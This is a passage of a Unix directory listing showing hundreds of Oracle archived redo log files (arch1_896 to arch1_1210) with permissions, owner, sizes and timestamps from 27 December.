arch1_896_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_897_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_898_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_899_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_900_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_901_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:22 arch1_902_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_903_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_904_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_905_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_906_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_907_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_908_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_909_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_910_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_911_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:22 arch1_912_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_913_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 21:23 arch1_914_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_915_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 21:23 arch1_916_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_917_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_918_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_919_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_920_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_921_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_922_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_923_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_924_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_925_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_926_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.1M Dec 27 21:23 arch1_927_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_928_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_929_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_930_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:23 arch1_931_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:24 arch1_932_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:24 arch1_933_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:24 arch1_934_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 21:24 arch1_935_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_936_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_937_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_938_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_939_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_940_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_941_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:25 arch1_942_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_943_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_944_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_945_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_946_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 21:26 arch1_947_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_948_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_949_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_950_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_951_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_952_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_953_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_954_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_955_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_956_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_957_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_958_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_959_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_960_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:26 arch1_961_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_962_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_963_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_964_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_965_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_966_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_967_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.8M Dec 27 21:27 arch1_968_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_969_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 21:27 arch1_970_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.7M Dec 27 21:27 arch1_971_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 21:27 arch1_972_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_973_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_974_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:27 arch1_975_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_976_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_977_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_978_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_979_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:27 arch1_980_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_981_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 21:28 arch1_982_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_983_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_984_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_985_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 21:28 arch1_986_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_987_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_988_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_989_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.5M Dec 27 21:28 arch1_990_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_991_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_992_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_993_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.4M Dec 27 21:28 arch1_994_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_995_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_996_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_997_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:28 arch1_998_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:28 arch1_999_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1000_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1001_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1002_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1003_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1004_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1005_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1006_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1007_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1008_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1009_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1010_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1011_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1012_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1013_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1014_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1015_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1016_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1017_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:29 arch1_1018_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 21:29 arch1_1019_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1020_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1021_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1022_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1023_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1024_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1025_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 21:30 arch1_1026_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1027_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1028_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 21:30 arch1_1029_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1030_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1031_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1032_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1033_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1034_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1035_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1036_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1037_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:30 arch1_1038_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1039_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1040_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1041_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1042_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1043_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1044_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1045_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.2M Dec 27 21:31 arch1_1046_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:31 arch1_1047_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1048_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1049_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1050_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.9M Dec 27 21:31 arch1_1051_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1052_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1053_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1054_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1055_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1056_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:31 arch1_1057_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1058_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1059_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1060_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1061_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1062_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1063_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1064_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1065_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1066_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1067_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1068_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1069_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1070_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 21:32 arch1_1071_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1072_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1073_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1074_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1075_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:32 arch1_1076_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1077_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1078_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1079_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1080_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1081_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1082_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1083_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1084_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1085_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1086_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1087_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1088_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1089_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1090_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1091_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1092_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1093_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1094_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:33 arch1_1095_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1096_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1097_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1098_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1099_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1100_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1101_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1102_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1103_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1104_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1105_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1106_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1107_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1108_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1109_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1110_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1111_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1112_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1113_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1114_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:34 arch1_1115_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1116_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1117_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1118_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1119_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1120_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1121_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1122_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.8M Dec 27 21:35 arch1_1123_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1124_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1125_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1126_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1127_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1128_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 21:35 arch1_1129_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1130_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1131_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1132_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1133_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:35 arch1_1134_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:36 arch1_1135_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1136_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1137_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1138_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1139_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1140_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1141_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1142_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1143_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:36 arch1_1144_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1145_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1146_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1147_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1148_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1149_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1150_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1151_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1152_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:36 arch1_1153_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1154_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1155_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1156_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1157_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1158_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1159_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1160_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1161_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1162_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1163_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1164_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1165_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1166_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1167_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1168_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1169_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1170_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1171_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1172_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:37 arch1_1173_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1174_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1175_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1176_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1177_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1178_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1179_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1180_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1181_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1182_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1183_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1184_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1185_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1186_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1187_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1188_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1189_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1190_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1191_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:38 arch1_1192_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1193_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1194_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1195_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1196_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1197_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1198_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1199_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1200_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1201_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1202_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:39 arch1_1203_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1204_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1205_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1206_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1207_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1208_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1209_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:39 arch1_1210_1215462093.dbf -rw-r-----. 1 oracle 